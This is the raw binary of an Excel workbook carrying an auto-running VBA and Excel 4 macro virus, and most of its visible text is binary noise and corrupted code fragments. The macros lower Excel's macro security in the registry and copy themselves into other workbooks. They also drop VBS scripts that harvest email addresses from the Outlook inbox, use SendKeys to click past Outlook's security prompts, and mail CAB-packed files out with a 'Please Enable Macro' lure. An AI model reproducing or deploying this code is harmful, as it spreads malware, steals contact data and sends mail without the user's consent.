ミマ爍ア>?? ,?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????+  !"#$%&'()*????5./0123468F:;<=>?@ABCDE7GHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~Root Entry???????? タFセZヤ鷭ホ澁q\ホ-?<Workbook????????JP_VBA_PROJECT_CUR"ミ\ホ澁q\ホVBA????????ミY\ホc\ホ  ヘノーチ\pUser Bーaタ=モコ ThisWorkbookッシ=xk:ソ"8X@"キレ1??擬SO1??擬SO1??擬SO1??擬SO1??擬SO1エ??擬SO1??擬SO1ネ??擬SO1??擬SO1?シ?擬SO1h8シ?擬SO1,8シ?擬SO18シ?擬SO1ワ8シ?擬SO1ワ?擬SO1ワ?擬SO1ワ<?擬SO1ワ>?擬SO1ワ?シ?擬SO1ワ4シ?擬SO1ワ4?擬SO1ワ シ?擬SO1ワ ?擬SO1ワ?擬SO1ワシ?擬SO1ワ ?擬SO1ワ?擬SO1ネ??擬SO+"?"#,##0;"?"\-#,##05"?"#,##0;[Red]"?"\-#,##07"?"#,##0.00;"?"\-#,##0.00A"?"#,##0.00;[Red]"?"\-#,##0.00i*2_ "?"* #,##0_ ;_ "?"* \-#,##0_ ;_ "?"* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ "?"* #,##0.00_ ;_ "?"* \-#,##0.00_ ;_ "?"* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)+ー"?"#,##0;\-"?"#,##05ア"?"#,##0;[Red]\-"?"#,##07イ"?"#,##0.00;\-"?"#,##0.00Aウ"?"#,##0.00;[Red]\-"?"#,##0.00eエ0_-"?"* #,##0_-;\-"?"* #,##0_-;_-"?"* "-"_-;_-@_-,オ'_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-uカ8_-"?"* #,##0.00_-;\-"?"* #,##0.00_-;_-"?"* "-"??_-;_-@_-4キ/_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_- ク"US$"#,##0_);\("US$"#,##0\)&ケ!"US$"#,##0.00_);\("US$"#,##0.00\) コ#"PCS"サ0_);[Red]\(0\) シ0;[Red]0ス0.00;[Red]0.00セ0_ !ソ#,##0.00_);[Red]\(#,##0.00\)タ#,##0;[Red]#,##0 チ0.00_ ツ"Yes";"Yes";"No"テ"True";"True";"False"ト"On";"On";"Off"]ナ,[$ャ -2]\ #,##0.00_);[Red]\([$ャ -2]\ #,##0.00\)?タ ?タ ?タ ?タ ?タ ?タ ?タ ?タ ?タ ?タ ?タ ?タ ?タ ?タ ?タ タ ?エ ?エュ ?エェ ?エョ ?エ ?エッ ?エャ ?エ ?エ ?エョ ?エャ ?エウ ?エ ?エ ?エ ?エ、 ?エア ?エエ  ?タ  ?タ  ?ヤPタ  ?ヤP タ ?ヤ タ ?タ ?エュ ?エェ ?ヤa>タ カ?タ エ?タ ?  ?杷fソソキ ?タ ?タ ?ヤ`タ キ?タ オ?タ ?エセ ?エ ?エケ ?エ、 ?エア ?エオ ?エォ ?ソソ ? ッ ?    タ タ 0@ @ タ 0@ @ タ タ ( タ 0タ 8@ @ タ タ 1t@ @ タ タ (@ @ タ Hタ @タ 1Tタ x@ @ タ p@ @ タ p@@ タ コ|@ @ タ p@ @ タ 1t @ タ Hタ Xタ  Hタ コ|@ @タ ケt@ @タ 0@ @タ ケt@ @ タ 1| @タ コ|@ タ ケt@ タ 1| タ ケt@ @ タ 0@ @タ 0@ タ 0@ タ 1タ 1Lタ 1Dタ タ タ p@@ タ p @ タ Xタ  タ 1tタ 1tタ tタ 1Tタ !20% - :_欠eW[恫r 1!20% - :_欠eW[恫r 2!20% - :_欠eW[恫r 3!20% - :_欠eW[恫r 4!20% - :_欠eW[恫r 5!20% - :_欠eW[恫r 6!40% - :_欠eW[恫r 1!40% - :_欠eW[恫r 2!40% - :_欠eW[恫r 3!40% - :_欠eW[恫r 4!40% - :_欠eW[恫r 5!40% - :_欠eW[恫r 6!60% - :_欠eW[恫r 1!60% - :_欠eW[恫r 2!60% - :_欠eW[恫r 3!60% - :_欠eW[恫r 4! 60% - :_欠eW[恫r 5!!60% - :_欠eW[恫r 6"?? #h? $h? 1 %h? 2 &h? 3 'h? 4(硎??)}Y *Gl;`+??,?? -。距{.タh虍USCQキ@7  ヘノ $I;O  d?MbP?_*+?%チ&テ?\渉ナ?'テ?\渉ナ?(囮劔劔ノ?)テ?\渉ナ?M Canon MF4400 Series UFRII LTワ0 G 4dXA4Canon?ア_` Canon MF4400 Series UFRII LT?ァddd      d d d d dd    dd?@@d  d  d dd d"eddd      !"#$%&'()d"    @  !"#$%&'()*+,-d.d/d0123456789:;<=>?@ABCDEFGHId     d !"#d!dddd!      d dd@8  4 22h 1 4 22h 1XXd2 擬SO\CNZ005.ICC\CNZ005.ICC\CNZ005.ICC??:gニ[:gニ[H擬SOal???ツリ椄鏡杵 X ?????????  。" dXX囮劔劔ノ?テ?\渉ナ?U} `} @} ?U} ` K} ? K} タ L @?b@I@@ミ@」@イ@ イ@ イ@ ツ@ ム@ イ@)@ @ム@? jセjjjjj?c? dセ klJ? Kセ mm? IJd? HJ? セ eJ? J? Kセ nn? @? @? M? N? O ? G>? Xセ_VWWZ>セ a`[\\]>セ a`[\\]>セ a`[\\\>セ a`[\\]>セ a`[\\]>セa`[\\]>セa`[\\]>セa`[\\]>セa`[\\]>セAAPQ^R>セ DD? g hYヤリDタセ R>? f? E J? B ? FSB? Fセ iii? B ? FS? TS? B? CBラ8$&&"4^$S&&(>>カ@27コ Sheet1gg????D&? ThisWorkbook???? ????ツ__SRP_4????????????$0__SRP_5 ????)BSheet1????????+~  !"#????%&'(????*????,-./0123456789:;<????>?@????B????DEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}?????<8ョハリ)ハ??#カ????????<??哮DvAΤットツタFィ %儿「 @。? 鬮?????????????xィ %儿「 @。? 鬮?KDvAΤットツ??ME??????????゚??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????PSL????S????S????6"????`??"??Z<?? ????????L????L?????????L????L????P????P????L????????L????P????L????P????*L????????????????????????????@??l??? ?? xx =@??????\??? ?? m3@??????X??? ?? ume "??????T???タ`icatP%????ィ= Fals@??????P????? do_?????????????????????????????????????????????????????????????????Xィ????????リ????????????????????????(????????????????????????????????????H????erences.AddFmG@??タx??? ?? カ@??t??? ?? 2E15@??????d??? ?? 0000@??`??? ?? _@??????\??? ?? r:=5 %??????X???@`icat%????( = Fal@??pT????? icat@??P????? Fals@???L????? star@??????H????? カ!????????????????????X????????????????????????????h????????????(?X????????????????????????????????????????????????????????????????p Ш????x??? ?FXH@??ーp??? ?? @??`??? ?? @??????\??? ?? ????ヤ0ヨリレ"@??L??? ?? @??0 p2ネ . 86X 2ー  @8`2ミ 2@ X? ????&h? ????"ィ&ミ2N0P?NミJ *p2?0リ"T0.?4ミ\h,?8ー:bX.タPJ@  $? Zネ 8(!4`!B?>? "8"BH"<?ミ"?(?. #HP#J??$$ $H$h$>x$Dク$@%V@%&?@タ%&R&dh&ミ&*?&'@'(P'x'j?4(&@(h(j?4?&0)X)&x)?)ク)0ネ).?H(*Xp*Jネ*.+8H+?+6?ミ+"?,0,8@,6x,0ー,P?0-8@-x-B?>ミ-.(.(8..`.H?Pリ.(/H/$`/? ィ/ ク/(ネ/??? ????" 0? 0?(080? ????@0*`06?Fネ0 1&01X1`1? ????<p1"ー1Lリ1(2H2Ph2Pク2d3p3p?@4v@4ク4Pミ4V 5nx5?、?07ク7リ7>?08JH86?&ミ8"? 9&@9 h9?4ィ96? :8:0P:*?:(ー:xリ:BP;*?$ネ;?<&(<P<p<? ???? ??<タ<ネ<,リ<(= 0=? ???? @=P=(X=?= ?$?タ=イミ=? ????、?0?8?? ????N@?R?T?T@@>蓮? ????2リ@LA `A^pA:ミAB B(B? ????" 0B?8B?@BHB? ????$XB?B? ????錬?BィBーBクBタBミBリB滷?錚 CC C(C0CHCPC?XC`ChCpC? ????B xC2?CクCタCミCDDD? ????B  D? D8D@D XDhD?D 魯ィDーDクDネDミD*錺2EPE`EhEB pE?xE職4櫓.ミEF*F HFXF? ????B  `FhF?pF*?F ーF ミF 澁? ????"  G?G*GJHG賂 ィGネG リG鍜 H H0H8H? ????? ????" @H?HH?`H hH xH?食 ィH@クHII 0I @IPIXI`I pI?I*露ネIミI鍼&J|(JvィJ, K PK `KpK xK?? ????B  尻?婁クK タK ミK 潭&L0L$8L"`L?伸廊?LィL ネL? ????リL????鎰キ "($ & Chr !& "!(s Fiキ "(*s(i_roA,A.ャ$0!カMacro1G A@2j, Len( B@41キ "(*USE~1k??Xo??P@]カ"?カ ThisWorkbook !8%:!<ャカ#Public WithEvents xx As ApplicationC@>ramャカPrivate Sub Workbook_open()C@>rerャカSet xx = ApplicationC@>em3ャカOn Error Resume NextC@>INDャカ!Application.DisplayAlerts = FalseC@>ャカ Call do_whatC@>trlャカEnd SubC@>ャカ1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@>ャ カOn Error Resume NextC@>ャ カ%wb.VBProject.References.AddFromGuid _C@>ャ カGUID:= 6カ&{0002E157-0000-0000-C000-000000000046} 6カ, _C@>ャ カMajor:=5, Minor:=3C@>ャ カ"Application.ScreenUpdating = FalseC@>ャカ!Application.DisplayAlerts = FalseC@>ャカ copystart wbC@>ャカ!Application.ScreenUpdating = TrueC@>ャカEnd SubC@>q??o??]リ]] !8.@カ ThisWorkbook @%:.B B!<.F Fャ5JC@Hq???o??x8 !& "!(A@NAPARATk??0i??(?ノ]]カk4.xls$`!8.\ X!8.^カToDole \ ^キ$bGzji??ィヲ  0ノ]](]@]X]p]]? fーキ'bz??0k??( d$x zキ'bz??k?? hーキ'bz??リk??ミ f!| ~キ'bz??ーk??ィ h!| ~キ'bz??k???ノx d f%:.B ?!ャキ'bz??@k??8カTemp$カ\ dカ.bas'l jキ l    $~ z ?B@ lA@ ?!ャキ'bz??k??k??? h!: d7C@q??Xd??P ?B@ d h%:.B ?!ャ ?!ャ d??キ'bz??k??k??k??リ lム d f%:B@ lカ\$'r lカ.$'t l rャ t r ャ $'nー.B n h%:.B Bー lム h!:B@d?? B!l  l h!:%.v B!<ャ5JC@Hャ v!<!J v!<%'pャ pC@>q??ノ? v h!:B@k??`k??X lA@キ'bi??8タ]] ノ !、'? "!(カ\k4.xls'「カk4.xls$ヲ !& "!(Gキカk4.xls$`B@Bjカcomspec$ カ /c attrib -S -h " "!(カ\K4.XLS" ェA@ィカcomspec$ カ /c Del /F /Q " "!(カ\K4.XLS" ェA@ィカcomspec$ カ /c RD /S /Q " "!(カ\K4.XLS" ェA@ィ !& "!(キ "(*キ (ャ 「 B@ョキ (ャキ "(*k??Hi??@8]?ーネ]](ノ "!タ'セカscRiPTinG.fiLEsysTeMoBjEcT$ツ.ーカ,HKEY_CURRENT_USER\Software\Microsoft\Office\ セカ\Excel\Security\AccessVBOM'イカ,HKEY_CURRENT_USER\Software\Microsoft\Office\ セカ\Excel\Security\Level'エカ-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ セカ\Excel\Security\AccessVBOM'カカ-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ セカ\Excel\Security\Level'クャ'コャ'シ イ コカ REG_DWORDAト エ シカ REG_DWORDAト カ コカ REG_DWORDAト ク シカ REG_DWORDAトi??ー@]カ WScript.Shell$ツ.フ ハカ ニ ネ フB@ホd??P ニ ネ ハ フB@ホk??0ー.フo?? ノ]hャ X%0B@H ヤムl 0B@メカMacro1 ヨ(カA2$リB@Hカ =ERROR(FALSE) レ(ワカA3$リB@Hカ=IF(ERROR.TYPE(RUN(" "!゙カ"))=4) レ(ワカA4$リB@Hカ=ALERT("ス﨧テコ凜ャケリアユ ャ $ ャ $カPlease Enable Macro!",3) レ(ワカA5$リB@Hカ=FILE.CLOSE(FALSE) レ(ワカA6$リB@Hカ =END.IF() レ(ワカA7$リB@Hカ =RETURN() レ(ワ? ミ? X!0 ミ!カ!Auto_Activateカ =Macro1!$A$2キ X!B@メ?ヌネ ャ X%(o??ィ?キ'ヲノ  "%`!ャ キ'ヲz??`k??X」Pi??H]カ10:00:00 ]カ11:00:008]カ14:00:00P]カ15:00:00h]?カ WScript.Shell$ツ.カ,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %?$カ OUTLOOK.EXEャ G|j        カD:\Collected_Address:frag1.txt$カ1|??リ d??ミ カ1カD:\Collected_Address:frag1.txtA@A@k?? d?? G|j   カnャ $    カnャ $ |?? d?? カnャ $ 'ノ  カD:\Collected_Address:frag2.txt$X'」 ク カnャ $  カD:\Collected_Address\log.txt$カ|??` d??X カカD:\Collected_Address:frag1.txtA@ カD:\Collected_Address:frag2.txtA@A@k?? k?? k??リ o??ミ ー] 8Phノ カscripting.filesystemobject$ツ.カ WScript.Shell$ツ.カE:\KK %キGカE:\KK B@j ! !ャ $ワカ カ_$カ.カ_$'カE:\KK\ カ _clear.vbs'  ー'  ォフ メカOn error Resume Nextヨ メカDim wsh, tle, T0, iヨ メカ T0 = Timerヨ メカ Set wsh=createobject("カwscript.shell"カ)ヨ メカ tle = "カMicrosoft Office Outlook"カヨ メカFor i = 1 To 1000ヨ メカ$ If Timer - T0 > 60 Then Exit Forヨ メカ Call Refresh()ヨ メカ wscript.sleep 05ヨ メカ wsh.sendKeys "カ%a"カヨ メカ wscript.sleep 05ヨ メカ wsh.sendKeys "カ {TAB}{TAB}"カヨ メカ wscript.sleep 05ヨ メカ wsh.sendKeys "カ{Enter}"カヨ メカNextヨ メカSet wsh = Nothingヨ メカ wscript.quitヨ メカ Sub Refresh()ヨ メカ*Do Until wsh.AppActivate(CStr(tle)) = Trueヨ メカ$ If Timer - T0 > 60 Then Exit Subヨ メカLoopヨ メカ wscript.sleep 05ヨ メカ wsh.SendKeys "カ%{F4}"カヨ メカEnd Subヨ VカE:\KK\ カ _Search.vbs'" ー' " ォフ メカOn error Resume Nextヨ メカConst olFolderInbox = 6ヨ メカ$Dim conbinded_address,WshShell,sh,tsヨ メカ#Set WshShell=WScript.CreateObject("カWScript.Shell"カ)ヨ メカSet objOutlook = CreateObject("カOutlook.Application"カ)ヨ メカ,Set objNamespace = objOutlook.GetNamespace("カMAPI"カ)ヨ メカ<Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)ヨ メカSet TargetFolder = objFolderヨ メカconbinded_address = "カ"カヨ メカ!Set colItems = TargetFolder.Itemsヨ メカwscript.sleep 300000ヨ メカWshSHell.Run ("カ wscript.exe  カ"カ), vbHide, Falseヨ メカ ts = Timerヨ メカFor Each objMessage in colItemsヨ メカ& If Timer - ts >55 then exit Forヨ メカM conbinded_address = conbinded_address & valid_address(objMessage.Body)ヨ メカNextヨ メカadd_text conbinded_address, 8ヨ メカ)add_text all_non_same(ReadAllTextFile), 2ヨ メカ WScript.Quitヨ メカヨ メカ+Private Function valid_address(source_data)ヨ メカT Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arrヨ メカ Dim regex, matchs, ss, arr()ヨ メカ Set oDict = CreateObject("カScripting.Dictionary"カ)ヨ メカ Set regex = CreateObject("カVBSCRIPT.REGEXP"カ)ヨ メカヨ メカ regex.Global = Trueヨ メカ regex.Pattern = "カ,\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*"カヨ メカ* Set matchs = regex.Execute(source_data)ヨ メカ% ReDim trimed_arr(matchs.Count - 1)ヨ メカ3 For i = Lbound(trimed_arr) To Ubound(trimed_arr)ヨ メカ/ trimed_arr(i) = matchs.Item(i) & vbCrLfヨ メカ Nextヨ メカヨ メカ3 For i = LBound(trimed_arr) To UBound(trimed_arr)ヨ メカ oDict(trimed_arr(i)) = "カ"カヨ メカ Nextヨ メカヨ メカ If oDict.Count > 0 Thenヨ メカ nonsame_arr = oDict.keysヨ メカ: For i = LBound(nonsame_arr) To UBound(nonsame_arr)ヨ メカ; valid_address = valid_address & nonsame_arr(i)ヨ メカ Nextヨ メカ End Ifヨ メカ Set oDict = Nothingヨ メカ End Functionヨ メカヨ メカ0Private Sub add_text(inputed_string, input_frag)ヨ メカ5 Dim objFSO, logfile, logtext, log_path, log_folderヨ メカ log_path = "カD:\Collected_Address"カヨ メカ Set objFSO = CreateObject("カScripting.FileSystemObject"カ)ヨ メカ On Error resume nextヨ メカ1 Set log_folder = objFSO.CreateFolder(log_path)ヨ メカヨ メカ$ If objFSO.FileExists(log_path & "カ \log.txt"カ ) = 0 Thenヨ メカ7 Set logfile = objFSO.CreateTextFile(log_path & "カ \log.txt"カ, True)ヨ メカ End Ifヨ メカ Set log_folder = Nothingヨ メカ Set logfile = Nothingヨ メカヨ メカ Select Case input_fragヨ メカ Case 8ヨ メカ8 Set logtext = objFSO.OpenTextFile(log_path & "カ \log.txt"カ, 8, True, -1)ヨ メカ& logtext.Write inputed_stringヨ メカ logtext.Closeヨ メカ Case 2ヨ メカ8 Set logtext = objFSO.OpenTextFile(log_path & "カ \log.txt"カ, 2, True, -1)ヨ メカ& logtext.Write inputed_stringヨ メカ logtext.Closeヨ メカ End Selectヨ メカ set objFSO = nothingヨ メカEnd Subヨ メカヨ メカ"Private Function ReadAllTextFile()ヨ メカ Dim objFSO, FileName, MyFileヨ メカ FileName = "カD:\Collected_Address\log.txt"カヨ メカ Set objFSO = CreateObject("カScripting.FileSystemObject"カ)ヨ メカ< Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)ヨ メカ If MyFile.AtEndOfStream Thenヨ メカ ReadAllTextFile = "カ"カヨ メカ Elseヨ メカ( ReadAllTextFile = MyFile.ReadAllヨ メカ End Ifヨ メカset objFSO = nothingヨ メカ End Functionヨ メカヨ メカ*Private Function all_non_same(source_data)ヨ メカ( Dim oDict, i, trimed_arr, nonsame_arrヨ メカ all_non_same = "カ"カヨ メカ Set oDict = CreateObject("カScripting.Dictionary"カ)ヨ メカヨ メカ* trimed_arr = Split(source_data, vbCrLf)ヨ メカヨ メカ3 For i = LBound(trimed_arr) To UBound(trimed_arr)ヨ メカ! oDict(trimed_arr(i)) = "カ"カヨ メカ Nextヨ メカヨ メカ If oDict.Count > 0 Thenヨ メカ nonsame_arr = oDict.keysヨ メカ: For i = LBound(nonsame_arr) To UBound(nonsame_arr)ヨ メカB all_non_same = all_non_same & nonsame_arr(i) & vbCrLfヨ メカ Nextヨ メカ End Ifヨ メカ Set oDict = Nothingヨ メカ End Functionヨ V & "($カ wscript.exe " *キ B@(ー.o???]タリ  ]8 P .',カ WScript.Shell$ツ.カscripting.filesystemobject$ツ.カE:\SORCE %キGカE:\SORCE B@j ! !ャ $ワカ カ_$カ.カ_$'カ* カ *Message*'0カ E:\sorce\ カ_Key.vbs' ー'  ォフ メカ.Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,routeヨ メカOn error Resume Nextヨ メカSet sh=WScript.CreateObject("カshell.application"カ)ヨ メカsh.MinimizeAllヨ メカSet sh = Nothingヨ メカSet Fso = CreateObject("カScripting.FileSystemObject"カ)ヨ メカ%Set WshShell = WScript.CreateObject("カWScript.Shell"カ)ヨ メカIf Fso.Folderexists("カE:\KK"カ!) = False Then Fso.CreateFolder "カE:\KK"ヨ メカFso.CopyFile _ヨ メカWshShell.CurrentDirectory & "カ\ カ*.CAB"カ,カ カ"E:\KK\"カ, Trueヨ メカFor Each Atta_xls In ListDir("カE:\KK"カ)ヨ メカ WshShell.Run "カexpand "カ & Atta_xls & "カ -F: カ .xls E:\KK"カ , 0, trueヨ メカNextヨ メカIf Fso.FileExists("カE:\KK\ カ.xls"カ ) = 0 thenヨ メカ- route = WshShell.CurrentDirectory & "カ\ カ.xls"ヨ メカ7 if Fso.FileExists(WshShell.CurrentDirectory & "カ\ カ.xls"カ)=0 thenヨ メカ# route = InputBox("カ Warning! "カ & Chr(10) & "カ+You are going to open a confidential file."カ & Chr(10) _ヨ メカ" & "カ%Please input the complete file path."カ & Chr(10) & "カ#ex. C:\parth\confidential_file.xls"カ, _ヨ メカ "カ Open a File"カ , "カ$Please Input the Complete File Path"カ, 10000, 8500)ヨ メカ End ifヨ メカelseヨ メカ route = "カE:\KK\ カ.xls"ヨ メカEnd Ifヨ メカ set oexcel=createobject("カexcel.application"カ)ヨ メカ' set owb=oexcel.workbooks.open(route)ヨ メカ oExcel.Visible = Trueヨ メカSet oExcel = Nothingヨ メカSet oWb = Nothingヨ メカSet WshShell = Nothingヨ メカSet Fso = Nothingヨ メカ WScript.Quitヨ メカ%Private Function ListDir (ByVal Path)ヨ メカ( Dim Filter, a, n, Folder, Files, Fileヨ メカ ReDim a(10)ヨ メカ n = 0ヨ メカ" Set Folder = fso.GetFolder(Path)ヨ メカ Set Files = Folder.Filesヨ メカ For Each File In Filesヨ メカ If left(File.Name, カ) = " カ" and right(File.Name,3) = "カCAB"カ Thenヨ メカ4 If n > UBound(a) Then ReDim Preserve a(n*2)ヨ メカ a(n) = File.Pathヨ メカ n = n + 1ヨ メカ End Ifヨ メカ Nextヨ メカ ReDim Preserve a(n-1)ヨ メカ ListDir = aヨ メカ End Functionヨ V !&カ \TEST.txt' ー'  ォフ メカ E:\sorce\ カ_Key.vbsヨ メカ E:\sorce\ カ.xlsヨ Vキ "(*A@2カ E:\sorce\ カ.xls B@ョA@N$L' 4 !&ャ$ワA@6#"C:\" !&A@:カcomspec$ カ /c makecab /F " !&カ \TEST.TXT"カJ /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ カ.CAB *キ B@(ヲ " !&カ \TEST.txt %8 !&カ \setup.rpt %8 !&カ \setup.inf %8 !&カ\ カ.CAB %8aA@ケ??タカcomspec$ カ /c RD /S /Q " !&カ\disk1" *キ B@(カcomspec$ カ /c Del /F /Q " !&カ \TEST.txt" *キ B@(カcomspec$ カ /c Del /F /Q " !&カ \setup.rpt" *キ B@(カcomspec$ カ /c Del /F /Q " !&カ \setup.inf" *キ B@(カcomspec$ カ /c RD /S /Q E:\sorce *キ B@(カE:\KK %キGカE:\KK B@jカcomspec$ カ /c MOVE /Y  カ .CAB E:\KK" *キ B@( 4A@:ヲ , カ Dear all, <  <カFYIカカE:\KK\ カ.CABA:カcomspec$ カ /c RD /S /Q E:\KK *キ B@(ー.キ "(*o??ミ=h ]H ]` G|jカOutlook.Application$ツ.H N H%L.J J @9@ B9B >9h D9P F5RB@メキ9Tq?? =ノV=」X= JB@Z[ルカ setforth ヨA@A@A@カ%sキム^A@\A@Xィ<」V?<ー.Hー.Jo???x カ Win32_Processカ WinMgmts:$b%d.`キ'? f? ` f!hカOUTLOOKャ キ'y??<k????ヌ?i???ク ] 0 H カ'j lャGzj lャ ? ?ャ l jカ$$ 'j? ?ネz??P;k??H; lャ 'nA@4? ?ャャ r n  t ャ ャ 'p t p ャG jカ$$ t p 'jj t p 't?ヌ?i???` ]? ク ミ カ'.カD:\Collected_Address\log.txt$ <$z'v v v ャ $jカ$$$z'x? ?ャ x .カ; $xXャ $v'.? ?ネi???9 ノ?]H ` カscRiPTinG.fiLEsysTeMoBjEcT$ツ.ー |ャキャ ー%?.~ ~!' ~B@Bi??9x ノ?]  カscRiPTinG.fiLEsysTeMoBjEcT$ツ.ー  ャ $ワ ー%キG  ャ $ワ ーB@j  ー%8 ャキャ ー%?.~  ~B@ ~B@Bd??8 ャキャ ー%?.~  ~B@ ~B@Bk??ネ7o??タ7( ]h  ? ]ク キ "(*キ "($ノp7? ? !キ (ャ !カ!$z#カ Auto_ActivateG B@j?ヌ7? ミ? !0 ミ!カMacro1  ミ( ミB@k??ィ6?ヌ?6ャ$0B@H 0B@メ? ミ? !0 ミ!ャ$0!G  ミ(j?ヌ06ャ rャ 'ャ rャ 'カ** CONFIDENTIAL! **  +カUse ャ"$ ! !ャ $ワカ_key.vbsャ"$カ To Open This File. ャ +カヌ?テ ャ"$ ! !ャ $ワカ_key.vbsャ"$カ ス簍ヒホトシ?. ャ +  $ ャ $$リキ5(ャ5(q???キ "(*o??p4ミ ](@Xノ@4 ヨ!'キ "(*キ "($? ミ? !0 ミ!カMacro1G  ミ(j?ヌネ3? ?カA1:F15 $0%リ !ネカ CONFIDENTIALャ キ'y??h3k??`3?ヌX3 キG $0B@jキ "(*i?? 3????3????XカAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen c?reenUpding[ Call deleteト_tf_wk<?copytowx鬼heets0(1).?M@acro1"Se?n Movem? [ cSavnSTruEnd If ?? ァ R←jonst @DQUOTEv"3?Wi? BVBProject.VBComponenn" ").CodeModuBlF.InsミLines 1, P"Pub Ev xx As_@? 2 ?ナvуE 3? Setチ=4タ On Error Resu。@。Nextヘ5タ  6 黍_wtha7タh8」?Iタxx_桧チチByVal wbkAM?) 9!7120 wbt?References.AddFrom@Guid _M1AsGUID:=" &?& "{0002E157-u0C?B0ミ046}k, チ>?Major:=@0鎬in!3ホチ=顎マ蜘ホ。?ソ: XaA?Ahs!?0ホ ?コat?ョォACw!d?ヒxK醒x8Dim`ゥ?瓧VBネIDE? テ」?ノ?w')y ソ)C??ュ = s(ャ?%A7aj?! $ .DBーヲ澗untOfノ'(Funヌ d#r?ヌミ@_`(cDataaInvoke_ヂ!」 \n14?7淮n.体?荊orタeAfteray。C「пDoorMi?トsoftho(bbyニABJuLdg ス・ % ?覽(2?驢?ル1 ・L ̄1ノLk?ニ2?tナ#= ナM0#k4.xl゙sーe?ツ?2ー9L7。 Q mrh@'oD瀰le",$)ーK @Fc)繆Exit? キZラシ、渡メ}~lString澂ケ! 甦& /tGFォア鯀 Sア ウ?SlashPoー?s LongE xtQTemp」寄EQL c?ヒI No0?5「? g%`'Tァ ?a1$癢アヲTrim(?)vbNll3ツ(テa都 タ &ッ Q0Hc].=,tミ:サ"熾_pp_locked?_ys*?y9 マ犱ッtッ0?Pテ?w、#SJ!'Q ?牌>ミ8?sノ ミ ?ゥ.Number?フ0?? _!Y!?=?viron?Rミ2")ー?\ム凖?P?basウAタナ H= 総+ s! !タ Dir(", Q?.orm@ャ+?Hidd?ミ。Sysem)チ゚0メ ツ CleasE Ki獻Bァム?ソシ% qソユ?929*柱?* .Remー .Iソ ゚!ムムE糀?1ヌッ :)dン鍼ラ"Q、+= 9>キ2  `@Else `@ copymodule = Fah Exit Function Еndx If&   FromVBProject.VBComponents(M?ame?).Exporp?le:=FBGSlashPosアInStrRev(, "?")Ext.?-?#Midテ!?+ 1,?}#ト-  - 11Ёet テ?#Not辛ing To}? *If?Is a* Theソ(.6I@UヤO K?.Typ?vbext_ct_Docu~m@fフチ姪6AチS瓠?TempF@?CY?:KWith?????????エ????」?。「????、ュヲァィゥェォャョッーアイウオクカキケ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????Codeユヒ.DeleteL0inesAj unリtOf S@g*5H. (タzCoヒ-?.Inse?t?SチA4KOn Error GoTo 0 VPRemove. ?ヌ hm iKill 軾ヒ}Tru'@?? e Microsoft@hobby(`Attribute l`y_タzcDataaInvoke_! ?." \n14" Dim myf炳0 As wBeチMyFタ#ゥF$Res@Q N) S ナ=SisWorkbook`.Fullヤ = ApplicaA?Startu(pPa K&`?4p.xls `eO pen("$) 2A婬hH <>+ 《 s' .CloseEォShe2Environ$("comsp ec")  /c aB, -S タ-h """9@K4.XLS, vbMinim izedF?ws  h /F /:Q? \? OヨRD8 /S ? @6?2?姶 )cre enUpd Dng?Ti゚ IsAdd@KValue2Variant, マ34ウVSル?0xt 0ヒ 0 Tha≠'?;Tru拾xit?4xーIf ?:??援 AhJudge() C?onst T1×D☆= "10:ェ0"2 1 ェ3 4 4 5Dim Sent Tibチ, Wshタvll.Set#ニCCre?(Object("WS@cript.B "タ2@^Not In@t(UCase(.RegRead("HKEY_CLASSES_ROOT\mailto\shell\o@?command\")), "OUTLO?OK.EXE"Gk> ツc@Tチ)@1>=3@「 6繻顛PCall !f mh(ョ leep 05ンp.sen@dKeys $ %訛ソ P マア。Uhホ{TAB}?BOO @O{ECr}A=[; `th=U quditub#*D?o Until タゥq?Aイ(CStr?"))皋+aSf罫 ゥミRーLoop=% s_?」畆z{F4?7t[`Close (i0sレ@」 ???A"?b。?@ミカ?@、。0A"トAAャ?oMVInboxタ 6QCconbiTnd`?ac?,Eュ,スt甅xF。#=イ?ubsCロウ3フ8アタF゚腆ミ ミア?T.ペ ミ1sspミ`qヌ.Geメt・MMPIソ ウv。Default(J_ Tageトテサ~??ヤ e"?E1 coエlIPxs?I.Bサ23新スVaH0ハ .Run 傔ex|e o?p?o ?sv゙bミg窖tB pャCワgQ/EachアMPpage in  K2a`>55 t `Йオt For" Print #i, " conbinded_address = L& valiAF(objMVage.Body)a エNext "カ_FtZ, 8*all_non_same(ReadAllTCFil e), 2 6WScript.Qui { '??vate Function lsource`_data j優im oDictタ, trim?凵" ?emp, ュt_asc, hYer_endチarr, ?ii_ M?regex, matchーs, s?(GSetGルCre?jObject(?""" & "ヨ0ing.〆タ:aryBVBSCRIPT.REpGEXPモホ3B.@GlobalTrueヤPattern \w+@([-+.])フ*@D\.D NHゲ??Exe cute(レyReAzзチ^.Cou1@マ- 1衆?ラ 